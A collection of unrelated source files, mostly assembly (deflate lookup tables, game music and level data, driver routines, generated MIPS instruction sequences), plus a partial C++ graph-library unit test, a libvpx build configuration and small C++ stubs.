REQUIRE(right_child->start().node_id() == 7);
REQUIRE(right_child->end().node_id() == 4);
const Snarl* right_child_child = snarl_manager.children_of(right_child).at(0);
REQUIRE(right_child_child->start().node_id() == 5);
REQUIRE(right_child_child->end().node_id() == 6);
SECTION("A chain can be found from a backward member snarl") {
const Chain* chain = snarl_manager.chain_of(right_child);
REQUIRE(chain != nullptr);
SECTION("The chain has the two snarls in it") {
REQUIRE(chain->size() == 2);
REQUIRE(chain->at(0) == left_child);
REQUIRE(chain->at(1) == right_child);
}
SECTION("The chain end orientations are correct") {
REQUIRE(start_backward(*chain) == false);
REQUIRE(end_backward(*chain) == true);
}
SECTION("The chain ends are correct") {
REQUIRE(get_start_of(*chain) == left_child->start());
REQUIRE(get_end_of(*chain) == reverse(right_child->start()));
}
}
}
}
}
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2018 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "reg_sizes.asm"
%ifndef RFC1951_LOOKUP
%define RFC1951_LOOKUP
section .data
align 8
;; /* Structure contain lookup data based on RFC 1951 */
;; struct rfc1951_tables {
;; uint8_t len_to_code[264];
;; uint8_t dist_extra_bit_count[32];
;; uint32_t dist_start[32];
;; uint8_t len_extra_bit_count[32];
;; uint16_t len_start[32];
;; };
global rfc1951_lookup_table:data internal
rfc1951_lookup_table:
len_to_code:
db 0x00, 0x00, 0x00
db 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
db 0x09, 0x09, 0x0a, 0x0a, 0x0b, 0x0b, 0x0c, 0x0c
db 0x0d, 0x0d, 0x0d, 0x0d, 0x0e, 0x0e, 0x0e, 0x0e
db 0x0f, 0x0f, 0x0f, 0x0f, 0x10, 0x10, 0x10, 0x10
db 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11
db 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12
db 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13
db 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14
db 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15
db 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15
db 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16
db 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16, 0x16
db 0x17, 0x17, 0x17, 0x17, 0x17, 0x17, 0x17, 0x17
db 0x17, 0x17, 0x17, 0x17, 0x17, 0x17, 0x17, 0x17
db 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18
db 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18
db 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19
db 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19
db 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19
db 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19
db 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a
db 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a
db 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a
db 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a
db 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b
db 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b
db 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b
db 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b
db 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c
db 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c
db 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c
db 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1d
db 0x00, 0x00, 0x00, 0x00, 0x00
dist_extra_bit_count:
db 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x02, 0x02
db 0x03, 0x03, 0x04, 0x04, 0x05, 0x05, 0x06, 0x06
db 0x07, 0x07, 0x08, 0x08, 0x09, 0x09, 0x0a, 0x0a
db 0x0b, 0x0b, 0x0c, 0x0c, 0x0d, 0x0d, 0x00, 0x00
dist_start:
dd 0x00000001, 0x00000002, 0x00000003, 0x00000004
dd 0x00000005, 0x00000007, 0x00000009, 0x0000000d
dd 0x00000011, 0x00000019, 0x00000021, 0x00000031
dd 0x00000041, 0x00000061, 0x00000081, 0x000000c1
dd 0x00000101, 0x00000181, 0x00000201, 0x00000301
dd 0x00000401, 0x00000601, 0x00000801, 0x00000c01
dd 0x00001001, 0x00001801, 0x00002001, 0x00003001
dd 0x00004001, 0x00006001, 0x00000000, 0x00000000
len_extra_bit_count:
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
db 0x01, 0x01, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02
db 0x03, 0x03, 0x03, 0x03, 0x04, 0x04, 0x04, 0x04
db 0x05, 0x05, 0x05, 0x05, 0x00, 0x00, 0x00, 0x00
len_start:
dw 0x0003, 0x0004, 0x0005, 0x0006
dw 000007, 0x0008, 0x0009, 0x000a
dw 0x000b, 0x000d, 0x000f, 0x0011
dw 0x0013, 0x0017, 0x001b, 0x001f
dw 0x0023, 0x002b, 0x0033, 0x003b
dw 0x0043, 0x0053, 0x0063, 0x0073
dw 0x0083, 0x00a3, 0x00c3, 0x00e3
dw 0x0102, 0x0000, 0x0000, 0x0000
%endif ; RFC1951_LOOKUP
|
ARCH_MIPS EQU 0
ARCH_PPC EQU 0
HAVE_MIPS32 EQU 0
HAVE_DSPR2 EQU 0
HAVE_MSA EQU 0
HAVE_MIPS64 EQU 0
HAVE_VSX EQU 0
HAVE_MMI EQU 0
HAVE_VPX_PORTS EQU 1
HAVE_PTHREAD_H EQU 1
HAVE_UNISTD_H EQU 1
CONFIG_DEPENDENCY_TRACKING EQU 1
CONFIG_EXTERNAL_BUILD EQU 0
CONFIG_INSTALL_DOCS EQU 0
CONFIG_INSTALL_BINS EQU 1
CONFIG_INSTALL_LIBS EQU 1
CONFIG_INSTALL_SRCS EQU 0
CONFIG_DEBUG EQU 0
CONFIG_GPROF EQU 0
CONFIG_GCOV EQU 0
CONFIG_RVCT EQU 0
CONFIG_GCC EQU 1
CONFIG_MSVS EQU 0
CONFIG_PIC EQU 1
CONFIG_BIG_ENDIAN EQU 0
CONFIG_CODEC_SRCS EQU 0
CONFIG_DEBUG_LIBS EQU 0
CONFIG_DEQUANT_TOKENS EQU 0
CONFIG_DC_RECON EQU 0
CONFIG_RUNTIME_CPU_DETECT EQU 1
CONFIG_POSTPROC EQU 1
CONFIG_VP9_POSTPROC EQU 0
CONFIG_MULTITHREAD EQU 1
CONFIG_INTERNAL_STATS EQU 0
CONFIG_VP8_ENCODER EQU 1
CONFIG_VP8_DECODER EQU 1
CONFIG_VP9_ENCODER EQU 1
CONFIG_VP9_DECODER EQU 1
CONFIG_VP8 EQU 1
CONFIG_VP9 EQU 1
CONFIG_ENCODERS EQU 1
CONFIG_DECODERS EQU 1
CONFIG_STATIC_MSVCRT EQU 0
CONFIG_SPATIAL_RESAMPLING EQU 1
CONFIG_REALTIME_ONLY EQU 0
CONFIG_ONTHEFLY_BITPACKING EQU 0
CONFIG_ERROR_CONCEALMENT EQU 0
CONFIG_SHARED EQU 0
CONFIG_STATIC EQU 1
CONFIG_SMALL EQU 0
CONFIG_POSTPROC_VISUALIZER EQU 0
CONFIG_OS_SUPPORT EQU 1
CONFIG_UNIT_TESTS EQU 1
CONFIG_WEBM_IO EQU 1
CONFIG_LIBYUV EQU 1
CONFIG_DECODE_PERF_TESTS EQU 0
CONFIG_ENCODE_PERF_TESTS EQU 0
CONFIG_MULTI_RES_ENCODING EQU 0
CONFIG_TEMPORAL_DENOISING EQU 1
CONFIG_VP9_TEMPORAL_DENOISING EQU 0
CONFIG_COEFFICIENT_RANGE_CHECKING EQU 0
CONFIG_VP9_HIGHBITDEPTH EQU 0
CONFIG_BETTER_HW_COMPATIBILITY EQU 0
CONFIG_EXPERIMENTAL EQU 0
CONFIG_SIZE_LIMIT EQU 0
CONFIG_ALWAYS_ADJUST_BPM EQU 0
CONFIG_SPATIAL_SVC EQU 0
CONFIG_FP_MB_STATS EQU 0
CONFIG_EMULATE_HARDWARE EQU 0
|
.intel_syntax noprefix
.section .data
name: .ascii "have fun\n"
.section .text
.globl _start
_start:
mov edx,9
lea ecx, [name] /*This is for reading data section variables. Or we can use: mov ecx, OFFSET FLAT:name*/
/*mov dword ptr gs:[0x68], ecx
pcmpistri xmm1, xmm2, 0x2*/
mov ebx,1
mov eax,4
int 0x80
mov eax,1
int 0x80
|
SECTION code_clib
PUBLIC im1_init
PUBLIC _im1_init
EXTERN asm_im1_handler
EXTERN l_push_di
EXTERN l_pop_ei
im1_init:
_im1_init:
call l_push_di
ld hl,asm_im1_handler
ld ($8013),hl
ld a,195
ld ($8012),a
call l_pop_ei
ret
|
.byte $01 ; Unknown purpose
.byte OBJ_BIGREDPIRANHA, $0C, $16
.byte OBJ_BIGGOOMBA, $10, $17
.byte OBJ_BIGREDTROOPA, $18, $15
.byte OBJ_VENUSFIRETRAP, $26, $07
.byte OBJ_BIGGREENHOPPER, $30, $17
.byte OBJ_BIGGOOMBA, $42, $0F
.byte OBJ_BIGGREENHOPPER, $46, $11
.byte OBJ_BIGREDTROOPA, $58, $13
.byte OBJ_BIGREDTROOPA, $5F, $15
.byte OBJ_BIGREDTROOPA, $64, $13
.byte OBJ_VENUSFIRETRAP, $72, $15
.byte OBJ_BIGGREENTROOPA, $7A, $17
.byte $FF ; Terminator
|
SFX_Cry21_3_Ch4:
dutycycle 27
unknownsfx0x20 3, 243, 100, 5
unknownsfx0x20 2, 226, 68, 5
unknownsfx0x20 5, 209, 34, 5
unknownsfx0x20 2, 178, 132, 4
unknownsfx0x20 8, 209, 162, 4
unknownsfx0x20 3, 243, 36, 5
unknownsfx0x20 4, 228, 228, 4
unknownsfx0x20 8, 209, 2, 5
endchannel
SFX_Cry21_3_Ch5:
dutycycle 204
unknownsfx0x20 3, 211, 96, 5
unknownsfx0x20 2, 194, 64, 5
unknownsfx0x20 5, 193, 32, 5
unknownsfx0x20 2, 146, 128, 4
unknownsfx0x20 8, 193, 160, 4
unknownsfx0x20 3, 211, 32, 5
unknownsfx0x20 3, 196, 224, 4
unknownsfx0x20 8, 193, 0, 5
SFX_Cry21_3_Ch7:
endchannel
|
MOVED_ADULT_KING_ZORA:
.byte 0x00
.align 4
; Checks if King Zora should spawn as moved or not
; Returns t1 = 1 if true, else 0
kz_moved_check:
la t0, SAVE_CONTEXT
lhu t1, 0x0EDA(t0)
andi t1, t1, 0x0008 ; "Moved King Zora" Flag
bnez t1, @@return_true ; if the flag is set, return true
lw t1, 0x0004(t0) ; else, check link's age
bnez t1, @@return_false ; if child, return false
lb t1, MOVED_ADULT_KING_ZORA ; else, check if adult kz should be moved
bnez t1, @@return_true ; if it should, return true
nop ; else, return false
@@return_false:
jr ra
li t1, 0
@@return_true:
jr ra
li t1, 1
|
// stdafx.cpp : source file that includes just the standard includes
// C_Save_FileNamePattern.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
|
db 0 ; species ID placeholder
db 75, 125, 70, 115, 125, 70
; hp atk def spd sat sdf
db PSYCHIC, PSYCHIC ; type
db 3 ; catch rate
db 255 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_UNKNOWN ; gender ratio
db 100 ; unknown 1
db 80 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/azelf/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_SLOW ; growth rate
dn EGG_NONE, EGG_NONE ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, TOXIC, ZAP_CANNON, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SANDSTORM, FIRE_BLAST, SWIFT, DEFENSE_CURL, THUNDERPUNCH, DREAM_EATER, DETECT, REST, FIRE_PUNCH, NIGHTMARE, FLASH, FLAMETHROWER, THUNDERBOLT
; end
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: netwareSpecific.asm
AUTHOR: Chung Liu, Oct 14, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 10/14/92 Initial revision
DESCRIPTION:
Netware specific driver routines (DR_NETWARE_*)
$Id: netwareSpecific.asm,v 1.1 97/04/10 11:55:16 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NWMapDrive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Permanently assign a workstation drive to a directory on
the current file server.
CALLED BY: DR_NETWARE_MAP_DISK
PASS: es:ax = asciiz directory path (full or partial) on the
file server.
cx:dx = asciiz drive name.
bl = ascii drive letter.
RETURN: al = completion code
carry set if error
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 10/14/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NWMapDrive proc far
dirPath local fptr push es, ax
driveName local fptr push cx, dx
reqBuf local fptr
repBuf local fptr
uses ds,si,es,di,bx,cx,dx
.enter
call LoadVarSegDS
mov si, offset nwMapDriveRequestBuffer
mov di, offset nwMapDriveReplyBuffer
movdw reqBuf, dssi
movdw repBuf, dsdi
;
; stuff directory path in the request buffer, while
; counting the length
;
les di, reqBuf
add di, offset NREQBUF_APDH_path
lds si, dirPath
clr cx ;initial length = 0;
copyPath:
lodsb
tst al ;test for end of string
jz copyDone
stosb
inc cx
cmp cx, 255
jb copyPath ;max 255 chars
mov al, NRC_INVALID_PATH
jmp error
copyDone:
;
; stuff other request buffer data
;
lds si, reqBuf
mov ds:[si].NREQBUF_APDH_subfunc,
low NFC_ALLOC_PERMANENT_DIRECTORY_HANDLE
mov ds:[si].NREQBUF_APDH_dirHandle, 0
mov ds:[si].NREQBUF_APDH_driveLetter, bl
mov ds:[si].NREQBUF_APDH_pathLength, cl
add cx, offset NREQBUF_APDH_path - size NREQBUF_APDH_length
mov ds:[si].NREQBUF_APDH_length, cx
;
; call netware
;
les di, repBuf
mov ax, NFC_ALLOC_PERMANENT_DIRECTORY_HANDLE
call FileInt21
;al = return code from NetWare
tst al
jnz error
;
; call FSDInitDrive to tell the rest of the system
; that we just added a new drive.
;
mov ah, MEDIA_FIXED_DISK
mov al, bl
sub al, 'A' ; drive number instead of letter
clr bx ; no private data
mov cx, DriveExtendedStatus <
0, ; drive may be available over
; net
0, ; drive not read-only
0, ; drive cannot be formatted
0, ; drive not an alias
0, ; drive not busy
<
1, ; drive is present
0, ; assume not removable
1, ; assume is network
DRIVE_FIXED ; assume fixed
>
>
call LoadVarSegDS
mov dx, ds:[fsdOffset] ;FSDriver offset
lds si, driveName
call FSDInitDrive
clr ax ; (clears carry)
exit:
.leave
ret
error:
stc
jmp exit
NWMapDrive endp
Resident ends
|
Music_WildPokemonVictory:
dbw $80, Music_WildPokemonVictory_Ch1
dbw $01, Music_WildPokemonVictory_Ch2
dbw $02, Music_WildPokemonVictory_Ch3
Music_WildPokemonVictory_Ch1:
tempo 104
volume $77
notetype $C, $A2
dutycycle 2
octave 3
note B_, 1
note A_, 1
note G#, 1
note F#, 1
note E_, 2
octave 4
note D#, 2
note E_, 2
octave 3
note G#, 2
octave 4
note E_, 4
Music_WildPokemonVictory_Ch1_loop:
octave 2
note E_, 4
octave 1
note B_, 4
octave 2
note E_, 2
note G#, 4
note E_, 4
note A_, 4
note E_, 2
note G#, 4
note E_, 4
note E_, 4
octave 1
note B_, 4
octave 2
note E_, 2
note G#, 4
note E_, 4
note A_, 4
note E_, 2
note G#, 4
note G_, 4
note F_, 4
note C_, 4
note F_, 2
note A_, 4
note F_, 4
note A#, 4
note F_, 2
note A_, 4
note F_, 4
note F_, 4
note C_, 4
note F_, 2
note A_, 4
note F_, 4
note A#, 4
note F_, 2
note A_, 4
note B_, 4
loopchannel 0, Music_WildPokemonVictory_Ch1_loop
Music_WildPokemonVictory_Ch2:
notetype $C, $B2
dutycycle 2
octave 4
note E_, 1
note F#, 1
note G#, 1
note A_, 1
intensity $B7
note B_, 12
Music_WildPokemonVictory_Ch2_loop:
octave 4
intensity $B2
note B_, 2
note A_, 2
note G#, 2
note A_, 2
note B_, 2
note B_, 2
note B_, 4
octave 5
note C#, 2
note C#, 2
note C#, 4
octave 4
note B_, 2
note B_, 2
note B_, 4
note B_, 2
note A_, 2
note G#, 2
note A_, 2
note B_, 2
note B_, 2
note B_, 4
octave 5
note C#, 2
note C#, 2
note C#, 4
octave 4
note B_, 8
octave 5
note C_, 2
octave 4
note A#, 2
note A_, 2
note A#, 2
octave 5
note C_, 2
note C_, 2
note C_, 4
note D_, 2
note D_, 2
note D_, 4
note C_, 2
note C_, 2
note C_, 4
note C_, 2
octave 4
note A#, 2
note A_, 2
note A#, 2
octave 5
note C_, 2
note C_, 2
note C_, 4
note D_, 2
note D_, 2
note D_, 4
note C_, 8
loopchannel 0, Music_WildPokemonVictory_Ch2_loop
Music_WildPokemonVictory_Ch3:
notetype $C, $12
octave 5
note __, 4
notetype $9, $12
note B_, 2
notetype $6, $12
note __, 1
note G#, 3
note __, 1
note E_, 3
note __, 1
octave 4
note B_, 3
note __, 1
octave 5
note E_, 3
note __, 1
note G#, 3
note __, 1
Music_WildPokemonVictory_Ch3_loop:
note G#, 3
note __, 1
note E_, 3
note __, 1
octave 4
note B_, 3
note __, 1
octave 5
note E_, 3
note __, 1
note G#, 3
note __, 1
octave 4
note B_, 3
note __, 1
octave 5
note E_, 3
note __, 5
note A_, 3
note __, 1
note C#, 3
note __, 1
note E_, 3
note __, 5
note G#, 3
note __, 1
octave 4
note B_, 3
note __, 1
octave 5
note E_, 3
note __, 5
note G#, 3
note __, 1
note E_, 3
note __, 1
octave 4
note G#, 3
note __, 1
note B_, 3
note __, 1
octave 5
note E_, 3
note __, 1
note G#, 3
note __, 1
octave 4
note B_, 3
note __, 5
octave 5
note E_, 3
note __, 1
note A_, 3
note __, 1
note C#, 3
note __, 5
note E_, 3
note __, 1
note D#, 3
note __, 1
note D_, 3
note __, 1
note C#, 3
note __, 1
note F_, 3
note __, 1
note C_, 3
note __, 1
octave 4
note A_, 3
note __, 1
octave 5
note C_, 3
note __, 1
note F_, 3
note __, 1
octave 4
note A_, 3
note __, 1
octave 5
note C_, 3
note __, 5
note F_, 3
note __, 1
octave 4
note A#, 3
note __, 1
octave 5
note D_, 3
note __, 5
note F_, 3
note __, 1
octave 4
note A_, 3
note __, 1
octave 5
note C_, 3
note __, 5
note F_, 3
note __, 1
note C_, 3
note __, 1
octave 4
note A_, 3
note __, 1
octave 5
note C_, 3
note __, 1
note F_, 3
note __, 1
note A_, 3
note __, 1
note C_, 3
note __, 5
note F_, 3
note __, 1
note A#, 3
note __, 1
note D_, 3
note __, 5
note F_, 3
note __, 1
note F_, 3
note __, 1
note F#, 3
note __, 1
note G_, 3
note __, 1
loopchannel 0, Music_WildPokemonVictory_Ch3_loop
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Grazelle
; High performance, hardware-optimized graph processing engine.
; Targets a single machine with one or more x86-based sockets.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Authored by Samuel Grossman
; Department of Electrical Engineering, Stanford University
; (c) 2015-2018
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; phases.asm
; Implementation of common phase-related operators.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
INCLUDE registers.inc
INCLUDE threadhelpers.inc
_TEXT SEGMENT
; --------- PROCESSING PHASE OPERATORS ----------------------------------------
; See "phases.h" for documentation.
phase_op_reset_global_accum PROC PUBLIC
; clear out the partial sum accumulator
vxorpd ymm_globaccum, ymm_globaccum, ymm_globaccum
; operation complete
ret
phase_op_reset_global_accum ENDP
; ---------
phase_op_write_global_accum_to_buf PROC PUBLIC
; extract the current thread ID * 8 to use as an index into the reduce buffer
threads_helper_get_global_thread_id eax
shl rax, 3
; perform the write
vpextrq QWORD PTR [rcx+rax], xmm_globaccum, 0
; operation complete
ret
phase_op_write_global_accum_to_buf ENDP
_TEXT ENDS
END
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC _exp
EXTERN cm48_sdcciy_exp
defc _exp = cm48_sdcciy_exp
|
// Copyright (c) 2020 udv. All rights reserved.
#include "real/input.hpp"
namespace Real
{
Real::Scope<Input> Input::Make()
{
Real::Scope<Input> input;
#ifdef REAL_PLATFORM_WINDOWS
input = Real::MakeScope<Platform::Input>();
#endif
return input;
}
}
|
sb $6,1($0)
sllv $5,$4,$3
sll $6,$6,14
xori $5,$5,39580
xori $3,$4,42592
or $5,$5,$3
sra $3,$1,8
addu $4,$4,$3
sw $3,16($0)
lw $4,4($0)
addu $0,$3,$3
sra $5,$1,21
nor $3,$1,$3
xor $0,$1,$3
lw $3,0($0)
sllv $0,$3,$3
lh $4,0($0)
xori $3,$3,22876
sltiu $4,$3,-26878
lw $5,0($0)
nor $2,$2,$3
or $1,$3,$3
subu $6,$6,$3
ori $6,$0,33123
ori $4,$6,19024
srlv $5,$3,$3
addiu $0,$3,32679
addu $1,$3,$3
addiu $3,$3,-6306
xor $4,$3,$3
lh $1,8($0)
slt $4,$4,$3
addiu $1,$6,-5849
ori $6,$0,2334
xor $3,$0,$3
lhu $3,8($0)
xori $5,$5,30443
sh $3,0($0)
sll $1,$3,29
addiu $4,$3,-24906
xor $4,$4,$3
lh $4,14($0)
or $5,$3,$3
or $1,$4,$3
lbu $3,13($0)
addiu $4,$3,3545
lb $4,14($0)
addu $1,$0,$3
xor $5,$1,$3
srl $3,$4,22
lw $4,12($0)
addu $6,$5,$3
ori $0,$0,54067
nor $1,$3,$3
addu $3,$3,$3
sltiu $1,$4,4918
sw $0,8($0)
or $3,$3,$3
sra $5,$5,17
ori $4,$6,40167
sw $3,8($0)
slt $0,$4,$3
sra $4,$4,19
sltiu $4,$4,24231
sllv $3,$1,$3
sra $3,$3,28
addiu $3,$5,-14148
lw $1,8($0)
sltu $0,$1,$3
slt $4,$2,$3
sllv $4,$3,$3
sh $3,16($0)
or $1,$3,$3
sw $5,4($0)
sltu $1,$4,$3
slt $3,$4,$3
sltiu $5,$4,-5687
addu $1,$3,$3
addu $5,$6,$3
xor $4,$6,$3
srlv $4,$4,$3
and $4,$3,$3
nor $0,$0,$3
subu $4,$4,$3
addiu $3,$5,32646
sllv $6,$6,$3
lhu $3,16($0)
sltiu $4,$5,-11807
xori $1,$6,40429
addu $4,$4,$3
addiu $5,$5,-10648
sllv $3,$3,$3
sra $4,$0,24
nor $5,$0,$3
sltu $5,$4,$3
addu $3,$3,$3
sltu $0,$1,$3
srl $0,$1,28
nor $4,$3,$3
slti $3,$4,11888
sltiu $5,$3,-12885
lh $3,10($0)
andi $4,$1,50804
or $6,$2,$3
lbu $3,1($0)
lbu $3,11($0)
xor $4,$6,$3
addu $3,$3,$3
sb $3,0($0)
srlv $3,$5,$3
sll $4,$3,12
subu $4,$0,$3
lhu $4,6($0)
nor $3,$1,$3
lbu $1,16($0)
sll $5,$0,25
nor $6,$3,$3
slt $3,$3,$3
subu $1,$1,$3
subu $5,$5,$3
sw $3,8($0)
addu $3,$4,$3
sra $3,$3,15
addiu $3,$3,26813
nor $5,$1,$3
lh $4,16($0)
ori $1,$4,61119
addu $5,$1,$3
srl $3,$3,21
sh $4,10($0)
sra $4,$4,1
xori $1,$1,60519
ori $5,$4,48131
xori $3,$4,41771
sll $1,$4,22
addiu $5,$5,6024
sh $4,6($0)
xori $3,$1,46340
addu $4,$4,$3
subu $6,$3,$3
sll $4,$2,0
srav $1,$5,$3
or $1,$5,$3
sll $3,$4,27
addu $6,$0,$3
lb $4,11($0)
or $5,$3,$3
lw $4,12($0)
subu $0,$3,$3
slt $4,$4,$3
sltiu $5,$1,-31505
addiu $5,$4,-15996
srlv $1,$4,$3
slt $4,$4,$3
addu $3,$4,$3
sh $1,12($0)
sltu $6,$4,$3
nor $1,$1,$3
addiu $3,$2,-23864
xor $0,$3,$3
or $3,$4,$3
xori $3,$1,54780
sltu $4,$3,$3
or $3,$3,$3
srav $4,$4,$3
sh $4,14($0)
addu $1,$6,$3
sh $5,12($0)
sra $3,$0,22
srav $5,$3,$3
lbu $6,11($0)
addiu $4,$4,28867
andi $1,$2,47009
xori $1,$4,26590
and $1,$4,$3
lhu $5,8($0)
addu $5,$4,$3
sllv $3,$2,$3
sb $3,2($0)
addu $5,$4,$3
addiu $3,$4,-6155
lw $6,8($0)
sltiu $1,$1,23394
subu $3,$1,$3
srav $1,$5,$3
or $3,$1,$3
addu $6,$6,$3
sh $4,2($0)
srl $4,$4,8
slti $1,$5,-16271
subu $4,$1,$3
lh $3,6($0)
subu $4,$3,$3
andi $3,$3,25824
srlv $3,$3,$3
addu $3,$3,$3
subu $1,$5,$3
lw $3,0($0)
lw $1,0($0)
lh $3,14($0)
subu $6,$6,$3
sltiu $4,$4,20228
addu $3,$4,$3
and $3,$5,$3
and $6,$6,$3
xori $0,$0,39887
addu $3,$5,$3
srl $0,$0,31
subu $4,$4,$3
sltu $1,$1,$3
addu $4,$4,$3
sw $1,12($0)
sb $1,9($0)
sll $5,$3,15
srlv $3,$5,$3
sltiu $4,$6,-8996
ori $1,$6,23042
xori $3,$4,23325
lw $4,4($0)
andi $3,$0,20199
subu $4,$3,$3
addiu $3,$3,-19765
sltiu $5,$6,5769
addiu $1,$3,-18125
lw $3,8($0)
xori $5,$4,64236
srlv $1,$3,$3
sw $5,16($0)
sra $3,$6,24
subu $4,$4,$3
srav $3,$6,$3
ori $4,$4,60016
subu $3,$4,$3
lb $0,9($0)
sltu $3,$0,$3
subu $4,$4,$3
or $6,$3,$3
or $4,$4,$3
sllv $6,$6,$3
ori $1,$4,10633
slti $3,$3,-10207
sh $6,6($0)
lw $4,4($0)
ori $4,$5,29832
lbu $1,15($0)
sllv $1,$1,$3
and $4,$4,$3
xori $6,$3,27641
srl $0,$5,1
slti $1,$3,24648
and $3,$1,$3
addiu $3,$3,15883
andi $3,$4,12054
and $3,$4,$3
